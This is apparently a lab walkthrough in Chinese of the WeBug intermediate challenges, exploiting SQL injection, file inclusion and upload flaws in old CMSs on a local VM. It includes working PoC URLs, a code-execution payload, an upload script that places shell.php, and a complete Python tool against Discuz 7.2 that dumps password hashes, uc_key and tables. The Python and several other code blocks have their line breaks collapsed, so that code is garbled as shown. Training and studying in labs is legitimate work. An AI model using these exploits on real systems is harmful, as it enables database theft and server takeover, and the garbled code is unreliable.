文章目录

  • 中级进阶解题过程
    • 第一题:出来点东西吧
    • 第二题:pass
    • 第三题:怎么又TM注入
    • 第四题:看看APK
    • 第五题:时间注入
    • 第六题:注入
    • 第七题:ASPCMS
    • 第八题:phpmyadmin任意文件包含
    • 第九题:齐博系统注入漏洞
    • 第十题:海盗云商getshell
    • 第十一题:PHP168 getshell
    • 第十二题:ECSHOP 注入漏洞
    • 第十三题:SHOPXP
    • 第十四题:DCORE
    • 第十五题:METINFO 5.1.7
    • 第十六题:METINFO 5.3

中级进阶解题过程

第一题:出来点东西吧

题目类型:文件包含
使用工具:手工

  1. 根据题目描述猜测本题是考察文件包含漏洞。点击题目中的“Go”时没有反映,查看源码果然是代码出现了问题,对代码进行以下修改恢复正常。
<?php
if( $_GET )
{
$file=$_GET['country'];
require_once "$file";
}
?>

修改为:

<?php
if( $_GET )
{
$file=$_GET['country'];
require_once "\\cc\\"."$file";
}
?>

修改后访问效果如下:

2. 题目描述中给出了**…/…/etc/passwd**路径提示,可是虚拟机是Windows系统不可能存在上述目录。应该是作者题目没有完善,那就访问点其他什么吧,比如图片信息。

第二题:pass

题目类型:文件包含
使用工具:手工

  1. 和上一题一样同样是文件包含漏洞,只不过这次的提交方式为POST
  2. 使用代理,修改此提交参数即可。
  3. 当然上述两题都看了源码所以很容易确定相对路径,现实中可以利用lfisuite等工具进行自动化测试。

第三题:怎么又TM注入

题目类型:注入
使用工具:Modify Headers

  1. 题目给的很明确,这有是一道注入类型的题,接下来的关键就是找注入点了。页面中没有位置输入,URL中也没有参数,看了一下Cookie也没有内容,不会有是头部注入吧。
  2. 试了下基础里面曾经用到的X-Forwarded-For头部参数没发现异常,没有继续猜下去查看源码,原来是HOST头部参数存在注入,过程和渗透基础中的头部注入过程相同。Modify Headers插件设置和结果如下所示:

第四题:看看APK

题目类型:逆向
使用工具:apktool
不会

第五题:时间注入

题目类型:注入
使用工具:SQLMAP

  1. 首先设计一个时间盲注的payload测试下是否为时间盲注,当猜测长度为12时出现明显延迟,可以判断是存在盲注的。
  2. 题目提示此注入类型为基于时间的盲注,盲注过程复杂要经过多次尝试,干脆直接用工具。在终端输入下述命令:
    sqlmap -u http://192.168.6.128/pentest/test/time/index.php?type= -p type -D pentesterlab -T flag --dump
  3. 结果如下所示:
  4. 查看源码后发现并不需要时间注入,可以使用如下payload:

第六题:注入

题目类型:基于错误的注入
使用工具:Python

  1. Disucz 7.2 faq.php 注入漏洞原理
  2. Duplicate entry错误原理
  3. 靶场(docker)
  4. 代码如下:
#!/usr/bin/env python
#coding:utf-8
"""Author:   zwPurpose: Created: 2018年07月17日
"""
import urllib
import requests
import re
import sys
import argparse
from prettytable import PrettyTableCU = False
CD = False
UK = False
PW = False
SC = False
TB = False
CL = False
DP = False
DB = None
DBN = None
TBL = None
TBLN = None
COL = None
URL= Nonedef parse_argvs():global CU,CD,UK,PW,SC,TB,CL,DP,DB,DBN,TBL,TBLN,COL,URLparser = argparse.ArgumentParser(description='Designed for DZ7.2')parser.add_argument('--current-user',help='Retrieve DBMS current user',action='store_true')parser.add_argument('--current-db',help='Retrieve DBMS current database',action='store_true')parser.add_argument('--uc-key',help='Retrieve uc-key',action='store_true')parser.add_argument('--password',help='Enumerate DBMS users password hashes',action='store_true')parser.add_argument('--schemas',help='Enumerate DBMS database schemas',action='store_true')parser.add_argument('--tables',help='Enumerate DBMS database tables',action='store_true')parser.add_argument('--columns',help='Enumerate DBMS database table columns',action='store_true')parser.add_argument('--dump',help='Dump DBMS database table entries',action='store_true')parser.add_argument('-D',help='DBMS database to enumerate',action='store',metavar='id:datatabase')parser.add_argument('-T',help='DBMS database table to enumerate',action='store',metavar='id:table_name')parser.add_argument('-C',help=' DBMS database table column(s) to enumerate',action='store',metavar='col1,col2...')parser.add_argument('-U',help=' DBMS database table column(s) to enumerate',action='store',metavar='URL',required=True)args = parser.parse_args(sys.argv[1:])CU = args.current_userCD = args.current_dbUK = args.uc_keyPW = args.passwordSC = args.schemasTB = args.tablesCL = args.columnsDP = args.dumpif args.D:DB,DBN = args.D.split(':')if args.T:TBL,TBLN = args.T.split(':')COL = args.CURL = args.Udef sendRequest(para):para = urllib.urlencode(para)try:res = requests.get(URL+'/faq.php',para,headers={'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201'})except:print 'Can not connect to target!'exit(0)return res.textdef GetCurrentUser():print 'Start getting current user...'para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}res = sendRequest(para)cu=re.findall("Duplicate entry '(.*?)'",res)if len(cu)==0:print 'Exploit Failed!'return print 'Current User:%s'%cu[0][:-1]def GetCurrentDB():print 'Start getting current database...'para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}res = sendRequest(para)database=re.findall("Duplicate entry '(.*?)'",res)if len(database)==0:print 'Exploit Failed!'return print 'Current Database:%s'%database[0][:-1]def GetUcKey():print 'Start getting uc key...'para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}res=sendRequest(para);res1=sendRequest(para1);key1=re.findall("Duplicate entry '(.*?)'",res)key2=re.findall("Duplicate entry '(.*?)'",res1)if len(key1)==0:print 'Get Uc_Key Failed!'return key=key1[0][:-1]+key2[0][:-1]print 'uc_key:%s'%(key)def GetUserPW():print 'Start getting user and password...'count = 0while True:para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%count}res=sendRequest(para);user_list=re.findall("Duplicate entry '(.*?)'",res)if len(user_list)==0:print 'Dump Done!'breakuser=user_list[0].split(' ')print 'User info: user:%s password:%s'%(user[0][:-1],user[1][:-1])count += 1def DumpSchema():print 'Start dumping schemas...'count = 0paras = ') and (select 1 from (select count(*),concat(0x5e,(select schema_name from INFORMATION_SCHEMA.SCHEMATA limit %d,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)#'table = PrettyTable(['id','schema_name'])while True:para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':paras%count}res=sendRequest(para);tn=re.findall("Duplicate entry '\^(.*?)\^\d'",res);if len(tn)==0:print 'Dump Done!'breaktable.add_row([count,tn[0]])count+=1print table    def DumpTableNames():print 'Start dumping table names...'count = 0paras = ') and (select 1 from (select count(*),concat(0x5e,(select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=(select schema_name from INFORMATION_SCHEMA.SCHEMATA limit %s,1)'%DB+' limit %d,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)#'table = PrettyTable(['id','table_name'])while True:para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':paras%count}res=sendRequest(para);tn=re.findall("Duplicate entry '\^(.*?)\^\d'",res);if len(tn)==0:print 'Dump Done!'breaktable_name=tn[0].decode('hex')table.add_row([count,table_name])count+=1print tabledef DumpTableColumns():print 'Start dumping table columns...'count = 0paras = ') and (select 1 from (select count(*),concat(0x5e,(select column_name from INFORMATION_SCHEMA.COLUMNS where table_name=(select TABLE_NAME from INFORMATION_SCHEMA.TABLES where table_schema=(select schema_name from INFORMATION_SCHEMA.SCHEMATA limit %s,1) limit %s,1)'%(DB,TBL)+' limit %d,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)#'table = PrettyTable(['column_name'])while True:para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':paras%count}res=sendRequest(para);pre=re.findall("Duplicate entry '\^(.*?)\^\d'",res);if len(pre)==0:print 'Dump Done!'breaktable.add_row([pre[0]])count+=1print tabledef DumpData():print 'Start dumping data...'count = 0table = PrettyTable(COL.split(','))columns = COL.replace(',',',0x20,')paras = ') and (select 1 from (select count(*),concat((select concat(%s) from %s'%(columns,DBN+'.'+TBLN)+' limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'while True:para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':paras%count}res=sendRequest(para);datas=re.findall("Duplicate entry '(.*?)'",res)if len(datas)==0:print 'Dump Done!'breakcleandata=datas[0][:-1]info=cleandata.split(' ')table.add_row(info)count+=1print tableif __name__ == '__main__':parse_argvs()if CU:GetCurrentUser()if CD:GetCurrentDB()if UK:GetUcKey()if PW:GetUserPW()if SC:DumpSchema()if TB:if DB:DumpTableNames()    else:print "Please specify database id and name"if CL:if DB:if TBL:DumpTableColumns()else:print "Please specify table id and name"else:print "Please specify database id and name"if DP:if DBN:if TBLN:if COL:DumpData()else:print "Please specify columns"else:print "Please specify table id and name"else:print "Please specify database id and name"

第七题:ASPCMS

题目类型:SQL注入
使用工具:OWASP Mantra

  1. 在做这道题时需要自己配置下环境,首先需要自行配置好虚拟机的IIS服务器,具体参考这篇文章
  2. 配置完成后将目录C:\phpStudy\WWW\pentest\cms\aspcms\AspCms2.0.1GB2312中的所有文件复制到配置好的IIS服务器的根目录下就可以了。
  3. 需要说明的是由于phpStudy已经占用了80端口,所以在配置IIS服务器时需要将端口改为其他端口,我将其指定为了8081端口,如下:
  4. 执行完上述操作,浏览器访问情况如下:
  5. 这个ASPCMS的版本是2.0,题目说是注入,通过百度可以得到其PoC如下:
    http://192.168.6.128:8081/admin/_content/_About/AspCms_AboutEdit.asp?id=19%20and%201=2%20union%20select%201,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20aspcms_user%20where%20userid=1
  6. 上图中的分类名称就是loginname页面标题就是password
  7. 为了探清漏洞原因,首先打开AspCms_AboutEdit.asp查看源码:

    可以看到第一行引用了AspCms_AboutFun.asp文件中的getSort函数,接下来进入这个文件下进行查看:

    可以开到第15行直接使用没有过滤的id构造sql查询语句从而造成了漏洞的产生。

第八题:phpmyadmin任意文件包含

题目类型:文件包含
使用工具:OWASP Mantra

  1. 这道题涉及到了CVE-2014-8959,具体的代码审计过程我参考了离别歌大牛的这篇文章,这篇文章介绍的比较详细这里就不赘述了。
  2. 打开题目链接进入phpmyadmin登录界面,百度告诉我们默认用户名root及密码root,通过尝试尝试登录最终使用**(用户名)root:(密码)root**登录成功。
  3. 查看虚拟机中相应的目录看看有什么可以用于包含的,可以用于测试漏洞。最终发现了password这个文件,就它了。
  4. 由于此漏洞需要使用截断所以我们需要需要将php版本调到5.2.x(<5.3.4):
  5. 通过上面的目录以及漏洞原理我们可以构造POC如下:
    http://192.168.6.128/pentest/cve/phpmyadmin/gis_data_editor.php?token=116eb5bfb46d4a8060d7407f9e253590&gis_data[gis_type]=../../../../phpcve/password%00
  6. 由于POC相对路径构建不对出现下述错误:
  7. 为了进一步说明为什么会出下上述错误,对代码进行下述修改:
  • 首先对gis_data_editor.php进行修改
60 $geom_type = $gis_data['gis_type'];
61
62 // Generate parameters from value passed.
63 $gis_obj = PMA_GIS_Factory::factory($geom_type);
64 echo var_dump($gis_obj);
65 if (isset($_REQUEST['value'])) {66    $gis_data = array_merge(
67        $gis_data, $gis_obj->generateParams($_REQUEST['value'])
68    );
69 }
  • 接着对pma_gis_factory.php进行如下修改:
34 if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {35          echo './libraries/gis/pma_gis_' . $type_lower . '.php';
36            return false;
37        }

然后再使用上述错误的Poc进行访问错误如下:

这样问题就清晰多了,就是因为相对路径不正确导致factor函数返回False导致的。最终更改PoC如下:
http://192.168.6.128/pentest/cve/phpmyadmin/gis_data_editor.php?token=116eb5bfb46d4a8060d7407f9e253590&gis_data[gis_type]=/../../../../phpcve/password%00
9. 最终使用正确的相对路径后文件包含成功。

第九题:齐博系统注入漏洞

题目类型:文件包含
使用工具:OWASP Mantra

  1. 直接点击题目可以看到,样式都是乱的,如下:
  2. 为了解决这个问题,将C:\phpStudy\WWW\pentest\cms\qibo\data\config.php中的**$webdb[‘www_url’]变量中的localhost**更改为虚拟机的IP地址就可以了。

    保存后再次访问效果如下:
  3. 漏洞产生的原因在C:\phpStudy\WWW\pentest\cms\qibo\ini\commen.ini.php中。
  • 代码20行至36行对POST、GET以及COOKIE中的参数进行安全处理,但是没有对FILES中的变量进行处理
  • 38行代码调用ini_get函数获取php.ini中的register_globals变量的值,这个值为True的话会自动的将变量注册到全局中。在PHP 4.2.0版本开始次变量默认值为False且本变量已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
  • 由于当前PHP版本高于4.2.0所以if语句中的extract函数会执行,此函数会将FILES中的键值对导入到当前的符号表中,EXTR_SKIP参数表明如果有冲突(即当前符号表已有此变量),不覆盖已有的变量。
  • 为此我们就需要寻找找一个包含有未初始变量且此变量用于构造SQL语句的文件来利用上述漏洞。C:\phpStudy\WWW\pentest\cms\qibo\member\comment.php这个文件就满足上述要求
  1. 接下来看下comment.php中的代码:
  • 通过查找可以看到没有对cidDB进行初始化(不放心的话可以使用PHP调试工具进行变量追踪来进一步确认,比如使用Xdebug)
  • cidDB参与了SQL查询语句的构成
  1. 由于各种限制,在此只能用基于报错的注入攻击。可以使用第六题中提到的 基于Duplicate entry错误的注入攻击

    也可以使用基于updatexml错误的注入攻击
  2. 需要注意的是请求中的job参数值为del,为了方便漏洞利用可以先创建html并敲入下面代码:
<form action="http://192.168.6.128/pentest/cms/qibo/member/comment.php?job=edit" method="POST" enctype="multipart/form-data">
<input type="file" name="cidDB" value="test" style="width:350px;"/><br/>
<input type="submit"></form>

随意选择一个文件后提交(form表单可以跨越所以cookie等信息会自动带上)并使用burpsuit代理拦截请求,然后将filename参数设置为payload即可。

第十题:海盗云商getshell

题目类型:文件上传
使用工具:Burpsuite

  1. 首先注册然后进入会员管理中心,点击左侧头像选择修改头像,可以看到如下的请求信息:
  2. 此页面的后台代码为account_control.class.php文件中的avatar函数,代码如下:
1 public function avatar() {2       if(checksubmit('dosubmit')) {3           if(empty($_GET['avatar'])) {4               showmessage('请上传头像','',0);
5           }
6           $avatar = $_GET['avatar'];
7           $x = (int) $_GET['x'];
8           $y = (int) $_GET['y'];
9           $w = (int) $_GET['w'];
10          $h = (int) $_GET['h'];
11          if(is_file($avatar) && file_exists($avatar)) {12              $ext = strtolower(pathinfo($avatar, PATHINFO_EXTENSION));
13              $name = basename($avatar, '.'.$ext);
14              $dir = dirname($avatar);
15              if(in_array($ext, array('gif','jpg','jpeg','bmp','png'))) {16                  $name = $name.'_crop_200_200.'.$ext;
17                  $file = $dir.'/'.$name;
18                  $image = new image($avatar);
19                  $image->crop($w, $h, $x, $y, 200, 200);
20                  $image->save($file);
21                  if(file_exists($file)) {22                      $avatar = getavatar($this->member['id'], false);
23                      dir::create(dirname($avatar));
24                      @rename($file, $avatar);
25                      showmessage('头像更换成功','',1);
26                  } else {27                      showmessage('头像数据裁剪失败','',0);
28                  }
29              } else {30                  showmessage('请勿上传非法图片','',0);
31              }
32          } else {33              showmessage('头像数据异常','',0);
34          }
35      } else {36          $SEO = seo('修改头像 - 会员中心');
37          $attachment_init = attachment_init(array('module' => 'member', 'mid' => $this->member['id']));
38          include template('account_avatar');
39      }
40  }
41 }
  1. 2行if函数内部调用的checksubmit源码在
    function.php文件中,代码如下:
function checksubmit($name) {if(IS_POST) {return TRUE;} else {return FALSE;}
}
  1. 结合上述代码及请求参数可以看出返回FALSE,故avatar函数会转到35行执行从而渲染出页面但没有文件上传相关代码。
  2. 查看页面中上传头像元素背后的JS代码如下:
var uploader = WebUploader.create({auto:true,fileVal:'upfile',// swf文件路径swf: '/pentest/cms/haidao/statics/js/upload/uploader.swf',// 文件接收服务端。server: "/pentest/cms/haidao/index.php?m=attachment&c=index&a=upload",// 选择文件的按钮。可选formData:{file : 'upfile',upload_init : 'fd54v5lmXnRWIM96wp33LouYWqs6pDAYwGW+vWovciOTOEeuAANJlkWvVwbmuludaaxM0wkp6NpHgaqA0lYo3veIUjTbMvcMyOxZjdv2mQ'},// 内部根据当前运行是创建,可能是input元素,也可能是flash.pick: {id: '#file-avatar',multiple:false},// 压缩图片大小compress:{width: 408,height: 408,allowMagnify: false},accept:{title: '图片文件',extensions: 'gif,jpg,jpeg,bmp,png',mimeTypes: 'image/*'},chunked: false,chunkSize:1000000,resize: false});uploader.onFileQueued = function(file) {$(this.options.pick.id).find('.webuploader-pick').html('上传中');}uploader.onUploadProgress = function(file, percentage) {$(this.options.pick.id).find('.webuploader-pick').html('上传中(' + percentage * 100 + '%)');}uploader.onUploadSuccess = function(file, response) {$(this.options.pick.id).find('.webuploader-pick').html('重新上传');if(response.status == 1) {if(response.result.width<200||response.result.height<200){alert("请上传分辨率至少为200*200的图片!");return false;}
$("input[name=avatar]").attr("value", response.result.url);executeAvatarTailor(response.result.url,response.result.width,response.result.height);} else {alert(response.message);}}
  1. 可以看到此页面使用了WebUploader组件进行文件上传,并限制了文件上传类型为图片且目标页面为**/pentest/cms/haidao/index.php?m=attachment&c=index&a=upload**。
  2. 上传图片时请求参数如下:
  3. /pentest/cms/haidao/index.php?m=attachment&c=index&a=upload相应的处理代码为index_control.class.php中的upload,代码如下:
public function upload() {if(IS_POST) {$file = (isset($_GET['file'])) ? $_GET['file'] : 'upfile';$result = $this->service->setConfig($_GET['upload_init'])->upload($file, FALSE);if($result === FALSE) {showmessage($this->service->error);} else {showmessage('上传成功', '', 1, $this->service->output(), 'json');}}}
  1. 上述代码又调用了attachment_service.class.php中的upload函数,代码如下:
public function upload($field, $filed = null, $iswrite = TRUE) {if(empty($field)) {$this->error = '没有上传任何文件';return FALSE;}if($this->_config['mid'] < 1) {$this->error = '没有上传权限';return FALSE;}$upload = new upload($this->_config, $this->_driver);$result = $upload->upload($field);if($result === FALSE) {$this->error = $upload->getError();return FALSE;}$this->file = $this->write($result, $iswrite);if(is_null($filed)) return $this->file['url'];return $this;}
  1. 更进一步上述代码又实例化了一个upload类,源码在upload.class.php中,这段代码首先定义了config变量,代码如下:
protected $config = array(/* 根目录 */'root'       => './uploadfile/',/* 子目录 */'path'      => 'common',/* 存在同名是否覆盖 */'replace' => false,'hash'      => true,'saveName'  =>  array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组'allow_exts' => '', //允许上传的后缀'allow_size' => 0, //允许的文件大小'allow_mimes' => '',//允许的mime类型/* 强制后缀名 */'save_ext'  => '',/* 上传前回调 */'_before_function'  => 'attachment_exists',/* 上传前回调 */'_after_function'  => false,);

此类的构造函数中的config变量可以用于扩充上述定义的config变量,代码如下:

public function __construct($config = array(), $driver = 'local') {$this->config   =   array_merge($this->config, $config);$this->temp_dir = CACHE_PATH.'temp/';$this->initialize($driver, $this->config);return $this;}

并定义了getset函数如下:

public function __get($name) {return $this->config[$name];}public function __set($name,$value){$this->config[$name] = $value;}

涉及到的文件过滤的函数有:

    private function check($file) {//省略部分代码/* 检查文件Mime类型 *///TODO:FLASH上传的文件获取到的mime类型都为application/octet-streamif (!$this->checkMime($file['type'])) {$this->error = '上传文件MIME类型不允许!';return false;}/* 检查文件后缀 */if (!$this->checkExt($file['ext'])) {$this->error = '上传文件后缀不允许';return false;}/* 通过检测 */return true;}

checkMime代码如下:

private function checkMime($mime) {return empty($this->allow_mimes) ? true : in_array(strtolower($mime), $this->allow_mimes);}

checkExt代码如下:

    private function checkExt($ext) {return empty($this->allow_exts) ? true : in_array(strtolower($ext), $this->allow_exts);}

为了确定config变量的最终状态,可以在check函数的第一段添加一行代码,将config变量的内容打印出来:

echo var_dump($this->config);

接下来上传一张照片观察config变量的内容:

通过上图可以看到allow_extsallow_mimes两个变量为空,故后台没有对文件进行过滤,所以只要绕过前端的WebUploader就可以了。因此直接使用Burpsuite抓取包后修改后缀即可。

第十一题:PHP168 getshell

题目类型:getshell
使用工具:手工

  1. 访问PHP168看到页面又是乱的一团,估计又和上述几个CMS一样一些配置文件中将地址设置为了localhost,直接通过虚拟机中自带的Notepad++搜索文件中的localhost然后替换为虚拟机地址即可。
  2. CMS配置好后,通过百度搜索相关的漏洞信息,百度告诉我这个漏洞的PoC如下:
http://192.168.6.128/pentest/cms/php168/member/post.php
?only=1
&showHtml_Type[bencandy][1]={${phpinfo()}}
&aid=1
&job=endHTML
  1. 使用上述PoC访问效果如下:
  2. 通过上述PoC确定目标页面为post.php,参数分别是only=1showHtml_Type[bencandy][1]={${phpinfo()}}aid=1job=endHTML。接下来结合post.php页面源码及参数进行分析。
  • post.php代码中,only参数使39判断为假从而使得页面不会跳转到用户选择栏目的页面。
  • job参数使得下述代码执行
  1. 在上述代码即113行调用了get_html_url()函数,这个函数在function.inc.php文件中,其中导致漏洞产生的代码如下:
  • 首先使用aid参数即1初始化了id,然后通过showHtml_Type[bencandy][$id]即showHtml_Type[bencandy][1]参数初始化filename_b,最终filename_b值为**{${phpinfo()}}**。
  • 接下来1149行及1165行的两条eval语句打算将filename_b转化为字符串并初始化数组从而产生了漏洞。
  1. {${}}这种形式涉及到了php的Complex (curly) syntax,具体原理可以参考下面两篇文章。
    Complex (curly) syntax
    这种语法的设计目的

第十二题:ECSHOP 注入漏洞

题目类型:注入
使用工具:手工

  1. 根据WeBug提示注入页面为**/admin/shopinfo.php**,访问此页面时需要验证。百度一下默认用户名:密码为admin:admin123,登录成功。
  2. 搜索相关漏洞信息,在漏洞时代找到了具体的介绍再次不在赘述。
    3.构造如下PoC
    http://192.168.6.128/pentest/cms/ecshop/admin/shopinfo.php?act=edit&id=1%20union%20select%201,database(),user()%20limit%201,1%20--%20%27
    效果如下:

第十三题:SHOPXP

题目类型:注入
使用工具:手工

  1. WeBug并没有安全SHOPXP也没有其源码,索性就自己下一个SHOPXP V3.11。
  2. 下载完成后解压,并按照第七关步骤设置ASP环境。设置完成后将源文件拷贝到根目录中。
  3. 访问http://192.168.6.128:8081/(将192.168.6.128设置为自己虚拟机的地址),如果配置成功页面如下:
  4. 漏洞在**/admin/pinglun.asp中的第12行产生,没有对id**进行任何过滤
  5. PoC如下:
    192.168.6.128:8081/admin/pinglun.asp?id=71 union select 1,2,3,4,5,6,7,8,9,10,11
    效果如下:

第十四题:DCORE

题目类型:注入
使用工具:手工

  1. Dcore是一款较老的ASP语言写的CMS,在Webug虚拟机桌面上webug/aspwww/dcore文件夹中可以获得源码,按照第七题配置好IIS服务器然后将源代码拷贝到其根目录下即可。
  2. 访问index.asp页面会跳转到192.168.6.128:8081/dynamic.asp?temp=index&subsite=1dynamic.asp源码如下,temp参数确定了页面模板为index.html
  3. 在上述代码中的第6行包含了config.asp,这个文件中关键代码如下:
25 if request.form("subsite") <> "" then session("dr_subsite") = request.form("subsite")
26 if session("dr_subsite") <> "" then
27  if request.querystring("subsite") <> "" and session("dr_subsite") <> request.querystring("subsite") then
28      Set rs_config = db_config.getRecordBySQL_PD("select subsite_style,subsite_static from dcore_subsite where subsite_id = " & request.querystring("subsite"))
29  else
30      Set rs_config = db_config.getRecordBySQL_PD("select subsite_style,subsite_static from dcore_subsite where subsite_id = " & session("dr_subsite"))
31  end if
32 else
33  if request.querystring("subsite") <> "" then
34      Set rs_config = db_config.getRecordBySQL_PD("select subsite_style,subsite_static from dcore_subsite where subsite_id = " & request.querystring("subsite"))
35  else
36      Set rs_config = db_config.getRecordBySQL_PD("select subsite_style,subsite_static from dcore_subsite")
37  end if
38 end if

上述条件语句会直接跳转到34行执行,这行代码会利用subsite参数构成查询语句且没有对此参数进行过滤为此产生注入漏洞。
4. 由于上述代码34行查询获得的结果会作为dynamic.asp文件所包含的getstyle.asp页面的参数并不会直接显示到页面中为此不可以使用union查询。这里可以使用基于布尔类型的盲注,比如判断用户名长度可以使用下述PoC:

http://192.168.6.128:8081/dynamic.asp
?temp=index
&subsite=1 and iif((select len((select user_name from dcore_user)) from dcore_user)=5,1,0)


逐个猜解用户名PoC:

http://192.168.6.128:8081/dynamic.asp
?temp=index
&subsite=1 and iif((select mid((select user_name from dcore_user),1,1) from dcore_user)='a',1,0)


5. Access数据库不像Mysql那样有information_shcema数据库为渗透过程提供便利,在对Access数据库进行注入时可以现在本地搭建一个相同类型的CMS结合本地的数据库结构来判断目标网站的数据库结构。

第十五题:METINFO 5.1.7

题目类型:文件包含
使用工具:手工

  1. 通过漏洞时代相关文章得知,此漏洞的PoC如下:
    http://192.168.6.128/pentest/cms/MetInfobaohan/index.php?index=a&skin=default&dataoptimize_html=html/../test.php
  2. 查看index.php源码,39行调用了template函数且传入met_indexskin作为参数。通过Notepad++搜索所有与met_indexskin变量相关的文件发现此变量只出现在index.php文件中且没有初始化。既然没有初始化则其值为NULL,所以38行的判断语句为真,为此met_indexskin值为index
  3. index.php源码第18 行包含了common.inc.php,这其中有一段代码如下,第24行至28POSTCOOKIEGET中的变量注册到PHP变量中:
  4. 在下面的template的函数中,116行引入了三个全局变量其中skindataoptimize_html,由于上述代码的存在所以用户可以控制这些变量从而控制path变量。
  5. 回看上述提到的PoC,index变量控制index.php文件中包含的head.php文件,只要index变量的值不为**“index”那么其就不会渲染出其他页面。剩余的两个变量用于控制path变量最终其值为C:\phpStudy\WWW\pentest\cms\MetInfobaohan\templates/default/index.html/…/test.php**
  6. 有了文件包含漏洞还不够,要想getshell首先得找到上传文件的地方。不过恰好feedback/uploadfile_save.php存在上传漏洞,通过这个页面可以上传php文件,利用代码如下:
import requests
target_url = 'http://192.168.6.128/pentest/cms/MetInfobaohan'
data = {'fd_para[1][para]':'filea','fd_para[1][type]':'5'
}
files = {'filea': open("shell.php", 'rb')}
upload_url = '%s/feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo' % target_url
res = requests.post(upload_url,data = data,files=files)
  1. uploadfile_save.php页面中处理请求的代码如下:
foreach($fd_para as $key=>$val){$downloadurl=$val['para'];if($val[type]==5 && isset($_FILES[$downloadurl]) && $_FILES[$downloadurl]['name']!=''){    $file_size=$_FILES[$downloadurl]['size'];if($file_size>$met_file_maxsize){okinfo('javascript:history.go(-1)',$lang_filemaxsize);exit;} $$downloadurl=upload($downloadurl,$met_file_format);}}
  1. 由于uploadfile_save.php中首先包含了common.inc.php所以可以控制请求参数控制代码中的变量。根据上述提到的利用代码中设置的参数可以判断uploadfile_save.php会调用upload函数,此函数代码如下:
1 function upload($form, $met_file_format) {2    global $lang_js22,$lang_js23,$lang_fileOK,$lang_fileError1,$lang_fileError2,$lang_fileError3,$lang_fileError4;
3    if (is_array($form)) {4      $filear = $form;
5    } else {6      $filear = $_FILES[$form];
7    }
8    if (!is_writable('../upload/file/')) {9    okinfo('javascript:history.go(-1);',$lang_js22);
10    }
11 //Get extension
12   $ext = explode(".", $filear["name"]);
13   $extnum=count($ext)-1;
14   $ext = $ext[$extnum];
15 //Save the settings file name
16   srand((double)microtime() * 1000000);
17   $rnd = rand(100, 999);
18   $name = date('U') + $rnd;
19   $name = $name.".".$ext;
20   $met_file_format=str_replace("php","",strtolower($met_file_format));
21   $met_file_format=str_replace("aspx","",strtolower($met_file_format));
22   $met_file_format=str_replace("asp","",strtolower($met_file_format));
23   $met_file_format=str_replace("jsp","",strtolower($met_file_format));
24   $met_file_format=str_replace("js","",strtolower($met_file_format));
25   if ($met_file_format != "" && !in_array(strtolower($ext), explode("|", strtolower($met_file_format)))) {
26      okinfo('javascript:history.go(-1);',$lang_js23);
27    }
28   if (!copy($filear["tmp_name"],"../upload/file/".$name)) {29      $errors = array(0 => "$lang_fileOK",  1 =>"$lang_fileError1 ", 2 => "$lang_fileError2 ", 3 => "$lang_fileError3 ", 4 => "$lang_fileError4 ");
30    } else {31      @unlink($filear["tmp_name"]); //Delete temporary files
32    }
33    return $name;
34 }
  1. 上述代码中1214行获取上传文件名的后缀,1619行随机生成保存文件名,2024met_file_format变量进行处理,从而去出掉代码类型的文件后缀,由于上面提到的利用代码中设置了Get请求参数met_file_format=pphphp所以经第20行处理后pphphp刚好变为php。在第25行对文件后缀进行过滤,第28行则是对上传文件进行保存。
  2. 上述提到的利用脚本中Get请求还设置了lang参数且值为**“metinfo”,这是因为之前提过uploadfile_save.php包含了common.inc.php文件并且其中有一段代码把请求变量注册到了php环境中,但在这段代码下面common.inc.php还包含了config.inc.php**,
    其部分代码如下:
1  $met_index_type = $db->get_one("SELECT * FROM $met_config WHERE   name='met_index_type' and lang='metinfo'");
2  $met_index_type = $met_index_type['value'];
3  $lang=($lang=="")?$met_index_type:$lang;
4  $langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'");
5  if(!$langoks)die('No data in the database,please reinstall.');
6  if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html');
7  if(count($met_langok)==1)$lang=$met_index_type;
/*读配置数据*/
8  $query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";
9  $result = $db->query($query);
10 while($list_config= $db->fetch_array($result)){11  if($metinfoadminok)$list_config['value']=str_replace('"', '"', str_replace("'", ''',$list_config['value']));
12  $settings_arr[]=$list_config;
13  if($list_config['columnid']){14      $settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value'];
15  }else{16      $settings[$list_config['name']]=$list_config['value'];
17  }
18  if($list_config['flashid']){19      $list_config['value']=explode('|',$list_config['value']);
20      $falshval['type']=$list_config['value'][0];
21      $falshval['x']=$list_config['value'][1];
22      $falshval['y']=$list_config['value'][2];
23      $falshval['imgtype']=$list_config['value'][3];
24      $met_flasharray[$list_config['flashid']]=$falshval;
25  }
26 }
